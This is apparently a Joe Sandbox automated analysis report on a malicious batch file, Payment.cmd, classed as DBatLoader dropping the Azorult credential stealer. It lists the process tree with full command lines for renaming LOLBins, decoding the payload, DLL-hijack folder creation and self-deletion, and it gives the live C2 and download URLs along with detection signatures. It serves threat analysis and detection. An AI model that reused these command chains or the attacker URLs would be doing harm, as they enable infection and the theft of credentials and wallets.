Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Payment.cmd

Overview

General Information

Sample name:Payment.cmd
Analysis ID:1534923
MD5:b1ab5fb314f925da8eaa1b3a20d2b0ef
SHA1:df9ea2eade86b5fa44b8431884e6eb33dd5504d6
SHA256:9802bfe473af785aa10e169d5b158fb8f2b840e2e9f35e260461f3e3e29f0733
Infos:

Detection

Azorult, DBatLoader
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Detected unpacking (changes PE section rights)
Found malware configuration
Malicious sample detected (through community Yara rule)
Suricata IDS alerts for network traffic
Yara detected Azorult
Yara detected Azorult Info Stealer
Yara detected DBatLoader
AI detected suspicious sample
Allocates many large memory junks
Allocates memory in foreign processes
C2 URLs / IPs found in malware configuration
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Drops PE files to the user root directory
Drops PE files with a suspicious file extension
Drops or copies certutil.exe with a different name (likely to bypass HIPS)
Drops or copies cmd.exe with a different name (likely to bypass HIPS)
Found many strings related to Crypto-Wallets (likely being stolen)
Machine Learning detection for dropped file
Registers a new ROOT certificate
Sample uses process hollowing technique
Sigma detected: DLL Search Order Hijackig Via Additional Space in Path
Sigma detected: Execution from Suspicious Folder
Sigma detected: New RUN Key Pointing to Suspicious Folder
Sigma detected: Parent in Public Folder Suspicious Process
Sigma detected: Rare Remote Thread Creation By Uncommon Source Image
Sigma detected: Suspicious Program Location with Network Connections
Tries to harvest and steal Bitcoin Wallet information
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
Tries to steal Instant Messenger accounts or passwords
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
AV process strings found (often used to terminate AV products)
Binary contains a suspicious time stamp
Checks if the current process is being debugged
Contains functionality to call native functions
Contains functionality to check if a connection to the internet is available
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query locales information (e.g. system language)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Deletes files inside the Windows folder
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the user directory
Extensive use of GetProcAddress (often used to hide API calls)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
PE file contains sections with non-standard names
PE file does not import any functions
Queries information about the installed CPU (vendor, model number etc)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Execution of Suspicious File Type Extension
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer
Yara signature match

Classification

Process Tree

  • System is w10x64
  • cmd.exe (PID: 3556 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Payment.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • conhost.exe (PID: 3648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • extrac32.exe (PID: 1656 cmdline: C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe" MD5: 41330D97BF17D07CD4308264F3032547)
    • alpha.exe (PID: 2332 cmdline: C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • extrac32.exe (PID: 5888 cmdline: extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe MD5: 41330D97BF17D07CD4308264F3032547)
    • alpha.exe (PID: 5476 cmdline: C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\Payment.cmd" "C:\\Users\\Public\\AnyDesk.3GP" 3 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • kn.exe (PID: 1036 cmdline: C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\Payment.cmd" "C:\\Users\\Public\\AnyDesk.3GP" 3 MD5: F17616EC0522FC5633151F7CAA278CAA)
    • alpha.exe (PID: 4876 cmdline: C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\AnyDesk.3GP" "C:\\Users\\Public\\Libraries\\AnyDesk.PIF" 10 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • kn.exe (PID: 5996 cmdline: C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\AnyDesk.3GP" "C:\\Users\\Public\\Libraries\\AnyDesk.PIF" 10 MD5: F17616EC0522FC5633151F7CAA278CAA)
    • AnyDesk.PIF (PID: 5848 cmdline: C:\Users\Public\Libraries\AnyDesk.PIF MD5: 7EF42010A11B8F4D5C94605C77A478AF)
      • cmd.exe (PID: 1128 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\uhvutpdX.cmd" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
        • conhost.exe (PID: 528 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • esentutl.exe (PID: 3748 cmdline: C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o MD5: 5F5105050FBE68E930486635C5557F84)
        • esentutl.exe (PID: 1036 cmdline: C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\ping.exe /d C:\\Users\\Public\\xpha.pif /o MD5: 5F5105050FBE68E930486635C5557F84)
        • alpha.pif (PID: 5920 cmdline: C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
        • alpha.pif (PID: 1088 cmdline: C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows \SysWOW64" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
        • alpha.pif (PID: 504 cmdline: C:\\Users\\Public\\alpha.pif /c C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
          • xpha.pif (PID: 5724 cmdline: C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10 MD5: B3624DD758CCECF93A1226CEF252CA12)
        • alpha.pif (PID: 6052 cmdline: C:\\Users\\Public\\alpha.pif /c del "C:\Users\Public\xpha.pif" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
        • alpha.pif (PID: 6788 cmdline: C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \SysWOW64 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
        • alpha.pif (PID: 6792 cmdline: C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • esentutl.exe (PID: 6812 cmdline: C:\\Windows\\System32\\esentutl.exe /y C:\Users\Public\Libraries\AnyDesk.PIF /d C:\\Users\\Public\\Libraries\\Xdptuvhu.PIF /o MD5: 5F5105050FBE68E930486635C5557F84)
        • conhost.exe (PID: 4492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • uhvutpdX.pif (PID: 5412 cmdline: C:\Users\Public\Libraries\uhvutpdX.pif MD5: C116D3604CEAFE7057D77FF27552C215)
        • cmd.exe (PID: 5704 cmdline: "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "uhvutpdX.pif" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
          • conhost.exe (PID: 6196 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • timeout.exe (PID: 5096 cmdline: C:\Windows\system32\timeout.exe 3 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)
    • alpha.exe (PID: 5920 cmdline: C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • alpha.exe (PID: 5972 cmdline: C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\AnyDesk.3GP" / A / F / Q / S MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
  • Xdptuvhu.PIF (PID: 5552 cmdline: "C:\Users\Public\Libraries\Xdptuvhu.PIF" MD5: 7EF42010A11B8F4D5C94605C77A478AF)
    • uhvutpdX.pif (PID: 4996 cmdline: C:\Users\Public\Libraries\uhvutpdX.pif MD5: C116D3604CEAFE7057D77FF27552C215)
      • cmd.exe (PID: 3908 cmdline: "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "uhvutpdX.pif" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
        • conhost.exe (PID: 4508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • timeout.exe (PID: 3660 cmdline: C:\Windows\system32\timeout.exe 3 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)
  • Xdptuvhu.PIF (PID: 5700 cmdline: "C:\Users\Public\Libraries\Xdptuvhu.PIF" MD5: 7EF42010A11B8F4D5C94605C77A478AF)
    • uhvutpdX.pif (PID: 3352 cmdline: C:\Users\Public\Libraries\uhvutpdX.pif MD5: C116D3604CEAFE7057D77FF27552C215)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
AzorultAZORult is a credential and payment card information stealer. Among other things, version 2 added support for .bit-domains. It has been observed in conjunction with Chthonic as well as being dropped by Ramnit.
  • The Gorgon Group
https://malpedia.caad.fkie.fraunhofer.de/details/win.azorult
NameDescriptionAttributionBlogpost URLsLink
DBatLoaderThis Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader

Malware Configuration

Threatname: DBatLoader

{"Download Url": ["https://eaznetagencies.co.ke/yakmdrpfile/233_Xdptuvhugpw"]}

Threatname: Azorult

{"C2 url": "http://dsye.shop/DS341/index.php"}

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
Payment.cmdMALWARE_BAT_KoadicBATKoadic post-exploitation framework BAT payloadditekSHen
  • 0x2:$s1: &@cls&@set
  • 0x5d:$s2: :~22,1%%
  • 0x6a:$s2: :~1,1%%
  • 0x76:$s2: :~60,1%%
  • 0x83:$s2: :~24,1%%
  • 0x90:$s2: :~11,1%
  • 0xa4:$s2: :~6,1%%
  • 0xb0:$s2: :~0,1%%
  • 0xbc:$s2: :~27,1%%
  • 0xc9:$s2: :~52,1%%
  • 0xd6:$s2: :~60,1%%
  • 0xe3:$s2: :~54,1%%
  • 0xf0:$s2: :~48,1%%
  • 0xfd:$s2: :~7,1%%
  • 0x109:$s2: :~59,1%%
  • 0x116:$s2: :~12,1%%
  • 0x12c:$s2: :~11,1%%
  • 0x139:$s2: :~13,1%%
  • 0x146:$s2: :~15,1%%
  • 0x153:$s2: :~10,1%%
  • 0x160:$s2: :~43,1%%

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000013.00000002.2431594792.0000000026B20000.00000004.00001000.00020000.00000000.sdmpJoeSecurity_Azorult_1Yara detected AzorultJoe Security
    0000001B.00000001.2363824050.0000000000479000.00000040.00000001.00020000.00000000.sdmpJoeSecurity_AzorultYara detected Azorult Info StealerJoe Security
      0000001B.00000001.2363824050.0000000000479000.00000040.00000001.00020000.00000000.sdmpJoeSecurity_Azorult_1Yara detected AzorultJoe Security
        0000001B.00000001.2363824050.0000000000479000.00000040.00000001.00020000.00000000.sdmpWindows_Trojan_Azorult_38fce9eaunknownunknown
        • 0x1a718:$a1: /c %WINDIR%\system32\timeout.exe 3 & del "
        • 0xda40:$a2: %APPDATA%\.purple\accounts.xml
        • 0xe188:$a3: %TEMP%\curbuf.dat
        • 0x1a49c:$a4: PasswordsList.txt
        • 0x154a0:$a5: Software\Valve\Steam
        0000001B.00000001.2363824050.0000000000479000.00000040.00000001.00020000.00000000.sdmpAzorultdetect Azorult in memoryJPCERT/CC Incident Response Group
        • 0x188e0:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)
        • 0x18f40:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)
        • 0x1a628:$v2: http://ip-api.com/json
        • 0x1929a:$v3: C6 07 1E C6 47 01 15 C6 47 02 34
        Click to see the 71 entries

        Unpacked PEs

        SourceRuleDescriptionAuthorStrings
        19.1.uhvutpdX.pif.400000.1.unpackJoeSecurity_AzorultYara detected Azorult Info StealerJoe Security
          19.1.uhvutpdX.pif.400000.1.unpackJoeSecurity_Azorult_1Yara detected AzorultJoe Security
            19.1.uhvutpdX.pif.400000.1.unpackWindows_Trojan_Azorult_38fce9eaunknownunknown
            • 0x19850:$a1: /c %WINDIR%\system32\timeout.exe 3 & del "
            • 0xcb78:$a2: %APPDATA%\.purple\accounts.xml
            • 0xd2c0:$a3: %TEMP%\curbuf.dat
            • 0x195d4:$a4: PasswordsList.txt
            • 0x145d8:$a5: Software\Valve\Steam
            19.1.uhvutpdX.pif.400000.1.unpackAzorult_1Azorult Payloadkevoreilly
            • 0x17c78:$code1: C7 07 3C 00 00 00 8D 45 80 89 47 04 C7 47 08 20 00 00 00 8D 85 80 FE FF FF 89 47 10 C7 47 14 00 01 00 00 8D 85 00 FE FF FF 89 47 1C C7 47 20 80 00 00 00 8D 85 80 FD FF FF 89 47 24 C7 47 28 80 ...
            • 0x120ac:$string1: SELECT DATETIME( ((visits.visit_time/1000000)-11644473600),"unixepoch")
            19.1.uhvutpdX.pif.400000.1.unpackAzorultdetect Azorult in memoryJPCERT/CC Incident Response Group
            • 0x17a18:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)
            • 0x18078:$v1: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)
            • 0x19760:$v2: http://ip-api.com/json
            • 0x183d2:$v3: C6 07 1E C6 47 01 15 C6 47 02 34
            Click to see the 77 entries

            Sigma Signatures

            System Summary

            barindex
            Sigma detected: DLL Search Order Hijackig Via Additional Space in Path
            Source: File createdAuthor: frack113, Nasreddine Bencherchali: Data: EventID: 11, Image: C:\Users\Public\Libraries\AnyDesk.PIF, ProcessId: 5848, TargetFilename: C:\Windows \SysWOW64\NETUTILS.dll
            Sigma detected: Execution from Suspicious Folder
            Source: Process startedAuthor: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe, CommandLine: C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe, CommandLine|base64offset|contains: , Image: C:\Users\Public\alpha.exe, NewProcessName: C:\Users\Public\alpha.exe, OriginalFileName: C:\Users\Public\alpha.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Payment.cmd" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3556, ParentProcessName: cmd.exe, ProcessCommandLine: C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe, ProcessId: 2332, ProcessName: alpha.exe
            Sigma detected: New RUN Key Pointing to Suspicious Folder
            Source: Registry Key setAuthor: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\Public\Xdptuvhu.url, EventID: 13, EventType: SetValue, Image: C:\Users\Public\Libraries\AnyDesk.PIF, ProcessId: 5848, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Xdptuvhu
            Sigma detected: Parent in Public Folder Suspicious Process
            Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe, CommandLine: extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe, CommandLine|base64offset|contains: {ki, Image: C:\Windows\System32\extrac32.exe, NewProcessName: C:\Windows\System32\extrac32.exe, OriginalFileName: C:\Windows\System32\extrac32.exe, ParentCommandLine: C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe, ParentImage: C:\Users\Public\alpha.exe, ParentProcessId: 2332, ParentProcessName: alpha.exe, ProcessCommandLine: extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe, ProcessId: 5888, ProcessName: extrac32.exe
            Sigma detected: Rare Remote Thread Creation By Uncommon Source Image
            Source: Threat createdAuthor: Perez Diego (@darkquassar), oscd.community: Data: EventID: 8, SourceImage: C:\Windows\SysWOW64\esentutl.exe, SourceProcessId: 1036, StartAddress: 2CDED0, TargetImage: C:\Users\Public\kn.exe, TargetProcessId: 1036
            Sigma detected: Suspicious Program Location with Network Connections
            Source: Network ConnectionAuthor: Florian Roth (Nextron Systems), Tim Shelton: Data: DestinationIp: 170.10.161.45, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Users\Public\Libraries\AnyDesk.PIF, Initiated: true, ProcessId: 5848, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49711
            Sigma detected: CurrentVersion Autorun Keys Modification
            Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\Public\Xdptuvhu.url, EventID: 13, EventType: SetValue, Image: C:\Users\Public\Libraries\AnyDesk.PIF, ProcessId: 5848, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Xdptuvhu
            Sigma detected: Execution of Suspicious File Type Extension
            Source: Process startedAuthor: Max Altgelt (Nextron Systems): Data: Command: C:\Users\Public\Libraries\AnyDesk.PIF, CommandLine: C:\Users\Public\Libraries\AnyDesk.PIF, CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\AnyDesk.PIF, NewProcessName: C:\Users\Public\Libraries\AnyDesk.PIF, OriginalFileName: C:\Users\Public\Libraries\AnyDesk.PIF, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Payment.cmd" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3556, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Users\Public\Libraries\AnyDesk.PIF, ProcessId: 5848, ProcessName: AnyDesk.PIF

            Suricata Signatures

            TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
            2024-10-16T10:58:06.616510+020020291361Malware Command and Control Activity Detected188.114.97.380192.168.2.649735TCP
            2024-10-16T10:58:18.922884+020020291361Malware Command and Control Activity Detected188.114.97.380192.168.2.649802TCP
            TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
            2024-10-16T10:58:06.263734+020020294671Malware Command and Control Activity Detected192.168.2.649735188.114.97.380TCP
            2024-10-16T10:58:14.807840+020020294671Malware Command and Control Activity Detected192.168.2.649791188.114.97.380TCP
            2024-10-16T10:58:18.694473+020020294671Malware Command and Control Activity Detected192.168.2.649802188.114.97.380TCP
            2024-10-16T10:58:27.135743+020020294671Malware Command and Control Activity Detected192.168.2.649850188.114.97.380TCP
            TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
            2024-10-16T10:58:06.263734+020028102761Malware Command and Control Activity Detected192.168.2.649735188.114.97.380TCP
            2024-10-16T10:58:18.694473+020028102761Malware Command and Control Activity Detected192.168.2.649802188.114.97.380TCP

            Joe Sandbox Signatures

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Found malware configuration
            Source: 0000001B.00000001.2363824050.0000000000479000.00000040.00000001.00020000.00000000.sdmpMalware Configuration Extractor: Azorult {"C2 url": "http://dsye.shop/DS341/index.php"}
            Source: 17.3.esentutl.exe.4cf0000.0.unpackMalware Configuration Extractor: DBatLoader {"Download Url": ["https://eaznetagencies.co.ke/yakmdrpfile/233_Xdptuvhugpw"]}
            AI detected suspicious sample
            Source: Submited SampleIntegrated Neural Analysis Model: Matched 99.9% probability
            Machine Learning detection for dropped file
            Source: C:\Users\Public\Libraries\AnyDesk.PIFJoe Sandbox ML: detected
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFJoe Sandbox ML: detected
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D92C2C CryptFindOIDInfo,memset,CryptRegisterOIDInfo,GetLastError,#357,7_2_00007FF6E3D92C2C
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D92F38 ?_set_se_translator@@YAP6AXIPEAU_EXCEPTION_POINTERS@@@ZP6AXI0@Z@Z,InitializeCriticalSection,?_set_se_translator@@YAP6AXIPEAU_EXCEPTION_POINTERS@@@ZP6AXI0@Z@Z,LocalFree,lstrcmpW,#357,CoInitialize,#357,#357,?_set_se_translator@@YAP6AXIPEAU_EXCEPTION_POINTERS@@@ZP6AXI0@Z@Z,?_set_se_translator@@YAP6AXIPEAU_EXCEPTION_POINTERS@@@ZP6AXI0@Z@Z,RevertToSelf,#356,#357,LocalFree,NCryptFreeObject,CoUninitialize,DeleteCriticalSection,7_2_00007FF6E3D92F38
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E4E516 ??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,LocalFree,NCryptIsKeyHandle,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,7_2_00007FF6E3E4E516
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DAC514 CryptGetProvParam,SetLastError,LocalAlloc,LocalFree,7_2_00007FF6E3DAC514
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3D944E0 #357,#256,#357,GetLastError,CryptImportPublicKeyInfoEx2,GetLastError,CryptHashCertificate2,GetLastError,#357,LocalAlloc,GetLastError,memmove,BCryptVerifySignature,BCryptVerifySignature,BCryptDestroyKey,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,7_2_00007FF6E3D944E0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DF24D4 #357,CertCompareCertificateName,CertCompareCertificateName,GetSystemTime,SystemTimeToFileTime,GetLastError,#357,CompareFileTime,CompareFileTime,CompareFileTime,CompareFileTime,CryptVerifyCertificateSignature,GetLastError,#357,strcmp,strcmp,#357,#357,#357,CertCompareCertificateName,#357,CertCompareCertificateName,#357,CertFreeCTLContext,7_2_00007FF6E3DF24D4
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E18488 #357,CertGetCertificateChain,GetLastError,LocalAlloc,CertGetCRLContextProperty,GetLastError,GetLastError,GetLastError,CryptAcquireContextW,GetLastError,memset,CryptMsgOpenToEncode,GetLastError,CryptMsgUpdate,GetLastError,#357,#357,CryptReleaseContext,CryptMsgClose,CertCloseStore,CertFreeCertificateChain,LocalFree,LocalFree,LocalFree,7_2_00007FF6E3E18488
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DFA450 #357,#358,#357,#223,SetLastError,SetLastError,memmove,memmove,#357,#357,GetLastError,#357,#357,strcmp,GetLastError,strcmp,strcmp,strcmp,qsort,#357,CompareFileTime,CompareFileTime,#357,#357,CertFreeCertificateContext,LocalFree,LocalFree,LocalFree,CryptMsgClose,CertCloseStore,CertCloseStore,CertFreeCTLContext,LocalFree,free,7_2_00007FF6E3DFA450
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DFC450 CertOpenStore,GetLastError,#357,CryptQueryObject,CertAddStoreToCollection,GetLastError,#357,CertAddStoreToCollection,GetLastError,CertOpenStore,GetLastError,CertAddStoreToCollection,GetLastError,CertCloseStore,CertCloseStore,CertCloseStore,CertCloseStore,7_2_00007FF6E3DFC450
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DA4410 GetUserDefaultUILanguage,GetSystemDefaultUILanguage,#357,#357,CryptFindOIDInfo,CryptEnumOIDInfo,#360,CryptFindOIDInfo,CryptFindOIDInfo,CryptFindOIDInfo,CryptEnumOIDInfo,#258,#358,#357,#357,#357,LocalFree,#224,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,7_2_00007FF6E3DA4410
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E58404 GetLastError,#359,CryptGetProvParam,GetLastError,#357,CryptReleaseContext,7_2_00007FF6E3E58404
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DC23E8 BCryptResolveProviders,#360,#360,BCryptFreeBuffer,7_2_00007FF6E3DC23E8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DAE3B0 #357,#357,CryptDecodeObject,LocalFree,7_2_00007FF6E3DAE3B0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E16374 memset,#358,#357,LocalFree,LocalFree,#357,#357,_strlwr,#357,LocalFree,LocalFree,lstrcmpW,#359,#359,#357,CryptAcquireContextW,GetLastError,#256,CryptGenRandom,GetLastError,#254,#357,fopen,fopen,fprintf,fprintf,fprintf,fprintf,fprintf,fprintf,fprintf,fprintf,fprintf,fprintf,fprintf,LocalAlloc,fprintf,fprintf,fprintf,fprintf,fprintf,fprintf,fprintf,fprintf,#357,LocalFree,#357,fprintf,fprintf,CertOpenStore,GetLastError,LocalAlloc,CertSaveStore,GetLastError,#357,CertCloseStore,CertFreeCertificateContext,CertFreeCertificateContext,fclose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CryptDestroyKey,CryptReleaseContext,CryptReleaseContext,fprintf,fprintf,fflush,ferror,7_2_00007FF6E3E16374
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E12358 #357,#357,CryptReleaseContext,CryptReleaseContext,CertFreeCertificateContext,CertFreeCertificateContext,7_2_00007FF6E3E12358
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DC0300 NCryptOpenStorageProvider,#357,#357,#357,#357,#357,#357,#357,LocalFree,LocalFree,LocalFree,LocalFree,NCryptFreeObject,#357,7_2_00007FF6E3DC0300
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E8A2E0 NCryptOpenStorageProvider,NCryptOpenKey,NCryptFreeObject,7_2_00007FF6E3E8A2E0
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E58298 #357,CryptFindOIDInfo,LocalAlloc,#357,memmove,7_2_00007FF6E3E58298
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3DF6280 #357,#254,#357,CertGetCRLContextProperty,GetLastError,memcmp,#254,#357,#360,#360,CertGetPublicKeyLength,GetLastError,#359,strcmp,GetLastError,CryptFindOIDInfo,#357,LocalFree,CryptFindOIDInfo,#357,#357,#359,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,7_2_00007FF6E3DF6280
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E42278 CryptAcquireContextW,GetLastError,CryptCreateHash,GetLastError,CryptHashData,GetLastError,CryptGetHashParam,GetLastError,LocalAlloc,memmove,#357,#357,CryptDestroyHash,CryptReleaseContext,7_2_00007FF6E3E42278
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E4E274 GetLastError,#358,CryptAcquireCertificatePrivateKey,GetLastError,#357,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,#357,LocalFree,NCryptIsKeyHandle,GetLastError,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,7_2_00007FF6E3E4E274
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E86214 CryptDecodeObjectEx,CryptDecodeObjectEx,SetLastError,7_2_00007FF6E3E86214
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E1E1F8 CertSaveStore,GetLastError,LocalAlloc,#357,CertSaveStore,GetLastError,#357,LocalFree,#357,#357,NCryptOpenStorageProvider,NCryptImportKey,NCryptSetProperty,NCryptFinalizeKey,LocalFree,LocalFree,NCryptFreeObject,7_2_00007FF6E3E1E1F8
            Source: C:\Users\Public\kn.exeCode function: 7_2_00007FF6E3E5A1F8 LocalAlloc,CryptEnumProvidersA,GetLastError,#358,LocalFree,#357,7_2_00007FF6E3E5A1F8
